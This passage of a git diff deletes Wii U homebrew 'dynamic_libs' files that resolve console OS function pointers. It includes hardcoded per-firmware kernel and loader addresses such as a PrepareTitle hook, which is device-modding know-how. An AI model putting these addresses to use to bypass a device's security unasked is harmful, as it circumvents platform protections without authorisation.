acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "common/common.h" -#include "os_functions.h" - -unsigned int coreinit_handle __attribute__((section(".data"))) = 0; - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Lib handle functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle); -EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Security functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(int, OSGetSecurityLevel, void); -EXPORT_DECL(int, OSForceFullRelaunch, void); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Thread functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(int, OSCreateThread, void *thread, s32 (*callback)(s32, void*), s32 argc, void *args, u32 stack, u32 stack_size, s32 priority, u32 attr); -EXPORT_DECL(int, OSResumeThread, void *thread); -EXPORT_DECL(int, OSSuspendThread, void *thread); -EXPORT_DECL(int, OSIsThreadTerminated, void *thread); -EXPORT_DECL(int, OSIsThreadSuspended, void *thread); -EXPORT_DECL(int, OSSetThreadPriority, void * thread, int priority); -EXPORT_DECL(int, OSJoinThread, void * thread, int * ret_val); -EXPORT_DECL(void, OSDetachThread, void * thread); -EXPORT_DECL(void, OSSleepTicks, u64 ticks); -EXPORT_DECL(u64, OSGetTick, void); -EXPORT_DECL(u64, OSGetTime, void); -EXPORT_DECL(void, OSTicksToCalendarTime, u64 time, OSCalendarTime * calendarTime); - - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Mutex functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(void, OSInitMutex, void* mutex); -EXPORT_DECL(void, OSLockMutex, void* mutex); -EXPORT_DECL(void, OSUnlockMutex, void* mutex); -EXPORT_DECL(int, OSTryLockMutex, void* mutex); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! System functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(u64, OSGetTitleID, void); -EXPORT_DECL(void, OSGetArgcArgv, int* argc, char*** argv); -EXPORT_DECL(void, __Exit, void); -EXPORT_DECL(void, OSFatal, const char* msg); -EXPORT_DECL(void, OSSetExceptionCallback, u8 exceptionType, exception_callback newCallback); -EXPORT_DECL(void, DCFlushRange, const void *addr, u32 length); -EXPORT_DECL(void, DCStoreRange, const void *addr, u32 length); -EXPORT_DECL(void, ICInvalidateRange, const void *addr, u32 length); -EXPORT_DECL(void*, OSEffectiveToPhysical, const void*); -EXPORT_DECL(int, __os_snprintf, char* s, int n, const char * format, ...); -EXPORT_DECL(int *, __gh_errno_ptr, void); - -EXPORT_DECL(void, OSScreenInit, void); -EXPORT_DECL(unsigned int, OSScreenGetBufferSizeEx, unsigned int bufferNum); -EXPORT_DECL(int, OSScreenSetBufferEx, unsigned int bufferNum, void * addr); -EXPORT_DECL(int, OSScreenClearBufferEx, unsigned int bufferNum, unsigned int temp); -EXPORT_DECL(int, OSScreenFlipBuffersEx, unsigned int bufferNum); -EXPORT_DECL(int, OSScreenPutFontEx, unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); -EXPORT_DECL(int, OSScreenEnableEx, unsigned int bufferNum, int enable); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Memory functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_VAR(unsigned int *, pMEMAllocFromDefaultHeapEx); -EXPORT_VAR(unsigned int *, pMEMAllocFromDefaultHeap); -EXPORT_VAR(unsigned int *, pMEMFreeToDefaultHeap); - -EXPORT_DECL(int, MEMGetBaseHeapHandle, int mem_arena); -EXPORT_DECL(unsigned int, MEMGetAllocatableSizeForFrmHeapEx, int heap, int align); -EXPORT_DECL(void *, MEMAllocFromFrmHeapEx, int heap, unsigned int size, int align); -EXPORT_DECL(void, MEMFreeToFrmHeap, int heap, int mode); -EXPORT_DECL(void *, MEMAllocFromExpHeapEx, int heap, unsigned int size, int align); -EXPORT_DECL(int , MEMCreateExpHeapEx, void* address, unsigned int size, unsigned short flags); -EXPORT_DECL(void *, MEMDestroyExpHeap, int heap); -EXPORT_DECL(void, MEMFreeToExpHeap, int heap, void* ptr); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! MCP functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(int, MCP_Open, void); -EXPORT_DECL(int, MCP_Close, int handle); -EXPORT_DECL(int, MCP_TitleCount, int handle); -EXPORT_DECL(int, MCP_TitleList, int handle, int *res, void *data, int count); -EXPORT_DECL(int, MCP_GetOwnTitleInfo, int handle, void * data); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Loader functions (not real rpl) -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(int, LiWaitIopComplete, int unknown_syscall_arg_r3, int * remaining_bytes); -EXPORT_DECL(int, LiWaitIopCompleteWithInterrupts, int unknown_syscall_arg_r3, int * remaining_bytes); -EXPORT_DECL(void, addr_LiWaitOneChunk, void); -EXPORT_DECL(void, addr_sgIsLoadingBuffer, void); -EXPORT_DECL(void, addr_gDynloadInitialized, void); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Kernel function addresses -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(void, addr_PrepareTitle_hook, void); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Other function addresses -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(void, DCInvalidateRange, void *buffer, uint32_t length); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Energy Saver functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//Burn-in Reduction -EXPORT_DECL(int, IMEnableDim,void); -EXPORT_DECL(int, IMDisableDim,void); -EXPORT_DECL(int, IMIsDimEnabled,int * result); -//Auto power down -EXPORT_DECL(int, IMEnableAPD,void); -EXPORT_DECL(int, IMDisableAPD,void); -EXPORT_DECL(int, IMIsAPDEnabled,int * result); -EXPORT_DECL(int, IMIsAPDEnabledBySysSettings,int * result); - - -EXPORT_DECL(int, IOS_Ioctl,int fd, unsigned int request, void *input_buffer,unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len); -EXPORT_DECL(int, IOS_IoctlAsync,int fd, unsigned int request, void *input_buffer,unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len, void *cb, void *cbarg); -EXPORT_DECL(int, IOS_Open,char *path, unsigned int mode); -EXPORT_DECL(int, IOS_Close,int fd); -void InitAcquireOS(void) -{ - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Lib handle functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - EXPORT_FUNC_WRITE(OSDynLoad_Acquire, (int (*)(const char*, unsigned *))OS_SPECIFICS->addr_OSDynLoad_Acquire); - EXPORT_FUNC_WRITE(OSDynLoad_FindExport, (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport); - - OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); -} - -void InitOSFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - - InitAcquireOS(); - - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Security functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OS_FIND_EXPORT(coreinit_handle, OSGetSecurityLevel); - OS_FIND_EXPORT(coreinit_handle, OSForceFullRelaunch); - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! System functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OS_FIND_EXPORT(coreinit_handle, OSFatal); - OS_FIND_EXPORT(coreinit_handle, OSGetTitleID); - OS_FIND_EXPORT(coreinit_handle, OSGetArgcArgv); - OS_FIND_EXPORT(coreinit_handle, OSSetExceptionCallback); - OS_FIND_EXPORT(coreinit_handle, DCFlushRange); - OS_FIND_EXPORT(coreinit_handle, DCStoreRange); - OS_FIND_EXPORT(coreinit_handle, ICInvalidateRange); - OS_FIND_EXPORT(coreinit_handle, OSEffectiveToPhysical); - OS_FIND_EXPORT(coreinit_handle, __os_snprintf); - OS_FIND_EXPORT(coreinit_handle, __gh_errno_ptr); - - OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &__Exit); - - OS_FIND_EXPORT(coreinit_handle, OSScreenInit); - OS_FIND_EXPORT(coreinit_handle, OSScreenGetBufferSizeEx); - OS_FIND_EXPORT(coreinit_handle, OSScreenSetBufferEx); - OS_FIND_EXPORT(coreinit_handle, OSScreenClearBufferEx); - OS_FIND_EXPORT(coreinit_handle, OSScreenFlipBuffersEx); - OS_FIND_EXPORT(coreinit_handle, OSScreenPutFontEx); - OS_FIND_EXPORT(coreinit_handle, OSScreenEnableEx); - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Thread functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OS_FIND_EXPORT(coreinit_handle, OSCreateThread); - OS_FIND_EXPORT(coreinit_handle, OSResumeThread); - OS_FIND_EXPORT(coreinit_handle, OSSuspendThread); - OS_FIND_EXPORT(coreinit_handle, OSIsThreadTerminated); - OS_FIND_EXPORT(coreinit_handle, OSIsThreadSuspended); - OS_FIND_EXPORT(coreinit_handle, OSJoinThread); - OS_FIND_EXPORT(coreinit_handle, OSSetThreadPriority); - OS_FIND_EXPORT(coreinit_handle, OSDetachThread); - OS_FIND_EXPORT(coreinit_handle, OSSleepTicks); - OS_FIND_EXPORT(coreinit_handle, OSGetTick); - OS_FIND_EXPORT(coreinit_handle, OSGetTime); - OS_FIND_EXPORT(coreinit_handle, OSTicksToCalendarTime); - - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Mutex functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OS_FIND_EXPORT(coreinit_handle, OSInitMutex); - OS_FIND_EXPORT(coreinit_handle, OSLockMutex); - OS_FIND_EXPORT(coreinit_handle, OSUnlockMutex); - OS_FIND_EXPORT(coreinit_handle, OSTryLockMutex); - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! MCP functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OS_FIND_EXPORT(coreinit_handle, MCP_Open); - OS_FIND_EXPORT(coreinit_handle, MCP_Close); - OS_FIND_EXPORT(coreinit_handle, MCP_TitleCount); - OS_FIND_EXPORT(coreinit_handle, MCP_TitleList); - OS_FIND_EXPORT(coreinit_handle, MCP_GetOwnTitleInfo); - - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Memory functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &pMEMAllocFromDefaultHeapEx); - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeap", &pMEMAllocFromDefaultHeap); - OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &pMEMFreeToDefaultHeap); - - OS_FIND_EXPORT(coreinit_handle, MEMGetBaseHeapHandle); - OS_FIND_EXPORT(coreinit_handle, MEMGetAllocatableSizeForFrmHeapEx); - OS_FIND_EXPORT(coreinit_handle, MEMAllocFromFrmHeapEx); - OS_FIND_EXPORT(coreinit_handle, MEMFreeToFrmHeap); - OS_FIND_EXPORT(coreinit_handle, MEMAllocFromExpHeapEx); - OS_FIND_EXPORT(coreinit_handle, MEMCreateExpHeapEx); - OS_FIND_EXPORT(coreinit_handle, MEMDestroyExpHeap); - OS_FIND_EXPORT(coreinit_handle, MEMFreeToExpHeap); - - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Other function addresses - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OS_FIND_EXPORT(coreinit_handle, DCInvalidateRange); - - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Energy Saver functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //Burn-in Reduction - OS_FIND_EXPORT(coreinit_handle, IMEnableDim); - OS_FIND_EXPORT(coreinit_handle, IMDisableDim); - OS_FIND_EXPORT(coreinit_handle, IMIsDimEnabled); - //Auto power down - OS_FIND_EXPORT(coreinit_handle, IMEnableAPD); - OS_FIND_EXPORT(coreinit_handle, IMDisableAPD); - OS_FIND_EXPORT(coreinit_handle, IMIsAPDEnabled); - OS_FIND_EXPORT(coreinit_handle, IMIsAPDEnabledBySysSettings); - - OS_FIND_EXPORT(coreinit_handle, IOS_Ioctl); - OS_FIND_EXPORT(coreinit_handle, IOS_IoctlAsync); - OS_FIND_EXPORT(coreinit_handle, IOS_Open); - OS_FIND_EXPORT(coreinit_handle, IOS_Close); - - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Special non library functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - if(OS_FIRMWARE == 532 || OS_FIRMWARE == 540) - { - EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x0100FFA4); // loader.elf - EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0100FE90); // loader.elf - EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x010007EC); // loader.elf - EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF18558); // kernel.elf - - EXPORT_FUNC_WRITE(addr_sgIsLoadingBuffer, (int (*)(int, int *))0xEFE19D00); // loader.elf - EXPORT_FUNC_WRITE(addr_gDynloadInitialized, (int (*)(int, int *))0xEFE13C3C); // loader.elf - } - else if(OS_FIRMWARE == 500 || OS_FIRMWARE == 510) - { - EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x0100FBC4); - EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0100FAB0); - EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x010007EC); - EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF18534); - - EXPORT_FUNC_WRITE(addr_sgIsLoadingBuffer, (int (*)(int, int *))0xEFE19D00); - EXPORT_FUNC_WRITE(addr_gDynloadInitialized, (int (*)(int, int *))0xEFE13C3C); - } - else if(OS_FIRMWARE == 410) - { - EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x0100F78C); - EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0100F678); - EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x010007F8); - EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF166DC); - - EXPORT_FUNC_WRITE(addr_sgIsLoadingBuffer, (int (*)(int, int *))0xEFE19CC0); - EXPORT_FUNC_WRITE(addr_gDynloadInitialized, (int (*)(int, int *))0xEFE13BFC); - } - else if(OS_FIRMWARE == 400) //same for 402 and 403 - { - EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x0100F78C); - EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0100F678); - EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x010007F8); - EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF15E70); - - EXPORT_FUNC_WRITE(addr_sgIsLoadingBuffer, (int (*)(int, int *))0xEFE19CC0); - EXPORT_FUNC_WRITE(addr_gDynloadInitialized, (int (*)(int, int *))0xEFE13BFC); - } - else if(OS_FIRMWARE == 550) - { - EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x01010180); - EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0101006C); - EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x0100080C); - EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF184E4); - - EXPORT_FUNC_WRITE(addr_sgIsLoadingBuffer, (int (*)(int, int *))0xEFE19E80); - EXPORT_FUNC_WRITE(addr_gDynloadInitialized, (int (*)(int, int *))0xEFE13DBC); - } - else if(OS_FIRMWARE == 310) - { - EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x0100C4E4); - EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0100C3D4); - EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x010004D8); - EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF15A0C); - - EXPORT_FUNC_WRITE(addr_sgIsLoadingBuffer, (int (*)(int, int *))0xEFE19340); - EXPORT_FUNC_WRITE(addr_gDynloadInitialized, (int (*)(int, int *))0xEFE1329C); - } - else if(OS_FIRMWARE == 300) - { - EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x0100C4E4); - EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0100C3D4); - EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x010004D8); - EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF15974); - - EXPORT_FUNC_WRITE(addr_sgIsLoadingBuffer, (int (*)(int, int *))0xEFE19340); - EXPORT_FUNC_WRITE(addr_gDynloadInitialized, (int (*)(int, int *))0xEFE1329C); - } - else - { - OSFatal("Missing all OS specific addresses."); - } -} diff --git a/installer/src/dynamic_libs/os_functions.h b/installer/src/dynamic_libs/os_functions.h deleted file mode 100644 index 3d58932..0000000 --- a/installer/src/dynamic_libs/os_functions.h +++ /dev/null @@ -1,182 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __OS_FUNCTIONS_H_ -#define __OS_FUNCTIONS_H_ - -#include -#include "common/os_defs.h" -#include "os_types.h" - -#ifdef __cplusplus -extern "C" { -#endif - -#define BUS_SPEED 248625000 -#define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4)) -#define MILLISECS_TO_TICKS(msec) (SECS_TO_TICKS(msec) / 1000) -#define MICROSECS_TO_TICKS(usec) (SECS_TO_TICKS(usec) / 1000000) - -#define usleep(usecs) OSSleepTicks(MICROSECS_TO_TICKS(usecs)) -#define sleep(secs) OSSleepTicks(SECS_TO_TICKS(secs)) - -#define FLUSH_DATA_BLOCK(addr) asm volatile("dcbf 0, %0; sync" : : "r"(((addr) & ~31))) -#define INVAL_DATA_BLOCK(addr) asm volatile("dcbi 0, %0; sync" : : "r"(((addr) & ~31))) - -#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__) __attribute__((section(".data"))) = 0; -#define EXPORT_VAR(type, var) type var __attribute__((section(".data"))); - - -#define EXPORT_FUNC_WRITE(func, val) *(u32*)(((u32)&func) + 0) = (u32)val - -#define OS_FIND_EXPORT(handle, func) funcPointer = 0; \ - OSDynLoad_FindExport(handle, 0, # func, &funcPointer); \ - if(!funcPointer) \ - OSFatal("Function " # func " is NULL"); \ - EXPORT_FUNC_WRITE(func, funcPointer); - -#define OS_FIND_EXPORT_EX(handle, func, func_p) \ - funcPointer = 0; \ - OSDynLoad_FindExport(handle, 0, # func, &funcPointer); \ - if(!funcPointer) \ - OSFatal("Function " # func " is NULL"); \ - EXPORT_FUNC_WRITE(func_p, funcPointer); - -#define OS_MUTEX_SIZE 44 - -/* Handle for coreinit */ -extern unsigned int coreinit_handle; -void InitOSFunctionPointers(void); -void InitAcquireOS(void); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Lib handle functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern int (* OSDynLoad_Acquire)(const char* rpl, u32 *handle); -extern int (* OSDynLoad_FindExport)(u32 handle, int isdata, const char *symbol, void *address); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Security functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern int (* OSGetSecurityLevel)(void); -extern int (* OSForceFullRelaunch)(void); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Thread functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern int (* OSCreateThread)(void *thread, s32 (*callback)(s32, void*), s32 argc, void *args, u32 stack, u32 stack_size, s32 priority, u32 attr); -extern int (* OSResumeThread)(void *thread); -extern int (* OSSuspendThread)(void *thread); -extern int (* OSIsThreadTerminated)(void *thread); -extern int (* OSIsThreadSuspended)(void *thread); -extern int (* OSJoinThread)(void * thread, int * ret_val); -extern int (* OSSetThreadPriority)(void * thread, int priority); -extern void (* OSDetachThread)(void * thread); -extern void (* OSSleepTicks)(u64 ticks); -extern u64 (* OSGetTick)(void); -extern u64 (* OSGetTime)(void); -extern void (*OSTicksToCalendarTime)(u64 time, OSCalendarTime *calendarTime); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Mutex functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern void (* OSInitMutex)(void* mutex); -extern void (* OSLockMutex)(void* mutex); -extern void (* OSUnlockMutex)(void* mutex); -extern int (* OSTryLockMutex)(void* mutex); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! System functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern u64 (* OSGetTitleID)(void); -extern void (* OSGetArgcArgv)(int* argc, char*** argv); -extern void (* __Exit)(void); -extern void (* OSFatal)(const char* msg); -extern void (* DCFlushRange)(const void *addr, u32 length); -extern void (* DCStoreRange)(const void *addr, u32 length); -extern void (* ICInvalidateRange)(const void *addr, u32 length); -extern void* (* OSEffectiveToPhysical)(const void*); -extern int (* __os_snprintf)(char* s, int n, const char * format, ...); -extern int * (* __gh_errno_ptr)(void); - -extern void (*OSScreenInit)(void); -extern unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum); -extern int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); -extern int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); -extern int (*OSScreenFlipBuffersEx)(unsigned int bufferNum); -extern int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); -extern int (*OSScreenEnableEx)(unsigned int bufferNum, int enable); - -typedef unsigned char (*exception_callback)(void * interruptedContext); -extern void (* OSSetExceptionCallback)(u8 exceptionType, exception_callback newCallback); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! MCP functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern int (* MCP_Open)(void); -extern int (* MCP_Close)(int handle); -extern int (* MCP_TitleCount)(int handle); -extern int (* MCP_TitleList)(int handle, int *res, void *data, int count); -extern int (* MCP_GetOwnTitleInfo)(int handle, void * data); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! LOADER functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern int (* LiWaitIopComplete)(int unknown_syscall_arg_r3, int * remaining_bytes); -extern int (* LiWaitIopCompleteWithInterrupts)(int unknown_syscall_arg_r3, int * remaining_bytes); -extern void (* addr_LiWaitOneChunk)(void); -extern void (* addr_sgIsLoadingBuffer)(void); -extern void (* addr_gDynloadInitialized)(void); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Kernel function addresses -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern void (* addr_PrepareTitle_hook)(void); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Other function addresses -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern void (*DCInvalidateRange)(void *buffer, uint32_t length); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Energy Saver functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -////Burn-in Reduction -extern int (*IMEnableDim)(void); -extern int (*IMDisableDim)(void); -extern int (*IMIsDimEnabled)(int * result); -//Auto power down -extern int (*IMEnableAPD)(void); -extern int (*IMDisableAPD)(void); -extern int (*IMIsAPDEnabled)(int * result); -extern int (*IMIsAPDEnabledBySysSettings)(int * result); - -extern int (*IOS_Ioctl)(int fd, unsigned int request, void *input_buffer,unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len); -extern int (*IOS_IoctlAsync)(int fd, unsigned int request, void *input_buffer,unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len, void *cb, void *cbarg); -extern int (*IOS_Open)(char *path, unsigned int mode); -extern int (*IOS_Close)(int fd); -#ifdef __cplusplus -} -#endif - -#endif // __OS_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/os_types.h b/installer/src/dynamic_libs/os_types.h deleted file mode 100644 index aaa18fe..0000000 --- a/installer/src/dynamic_libs/os_types.h +++ /dev/null @@ -1,27 +0,0 @@ -#ifndef _OS_TYPES_H_ -#define _OS_TYPES_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include - -typedef struct _OSCalendarTime { - int sec; - int min; - int hour; - int mday; - int mon; - int year; - int wday; - int yday; - int msec; - int usec; -} OSCalendarTime; - -#ifdef __cplusplus -} -#endif - -#endif diff --git a/installer/src/dynamic_libs/padscore_functions.c b/installer/src/dynamic_libs/padscore_functions.c deleted file mode 100644 index f7ca8e9..0000000 --- a/installer/src/dynamic_libs/padscore_functions.c +++ /dev/null @@ -1,61 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" -#include "padscore_functions.h" - -unsigned int padscore_handle __attribute__((section(".data"))) = 0; - -EXPORT_DECL(void, KPADInit, void); -EXPORT_DECL(void, WPADInit, void); -EXPORT_DECL(s32, WPADProbe, s32 chan, u32 * pad_type); -EXPORT_DECL(s32, WPADSetDataFormat, s32 chan, s32 format); -EXPORT_DECL(void, WPADEnableURCC, s32 enable); -EXPORT_DECL(void, WPADRead, s32 chan, void * data); -EXPORT_DECL(s32, KPADRead, s32 chan, void * data, u32 size); -EXPORT_DECL(void,WPADSetAutoSleepTime,u8 minute); -EXPORT_DECL(void,WPADDisconnect,s32 chan); - -void InitAcquirePadScore(void) -{ - OSDynLoad_Acquire("padscore.rpl", &padscore_handle); -} - -void InitPadScoreFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - InitAcquirePadScore(); - - OS_FIND_EXPORT(padscore_handle, WPADInit); - OS_FIND_EXPORT(padscore_handle, KPADInit); - OS_FIND_EXPORT(padscore_handle, WPADProbe); - OS_FIND_EXPORT(padscore_handle, WPADSetDataFormat); - OS_FIND_EXPORT(padscore_handle, WPADEnableURCC); - OS_FIND_EXPORT(padscore_handle, WPADRead); - OS_FIND_EXPORT(padscore_handle, KPADRead); - OS_FIND_EXPORT(padscore_handle, WPADSetAutoSleepTime); - OS_FIND_EXPORT(padscore_handle, WPADDisconnect); - - KPADInit(); - WPADEnableURCC(1); -} diff --git a/installer/src/dynamic_libs/padscore_functions.h b/installer/src/dynamic_libs/padscore_functions.h deleted file mode 100644 index 5b000b1..0000000 --- a/installer/src/dynamic_libs/padscore_functions.h +++ /dev/null @@ -1,171 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __PAD_SCORE_FUNCTIONS_H_ -#define __PAD_SCORE_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include "dynamic_libs/vpad_functions.h" - -extern unsigned int padscore_handle; - -#include - 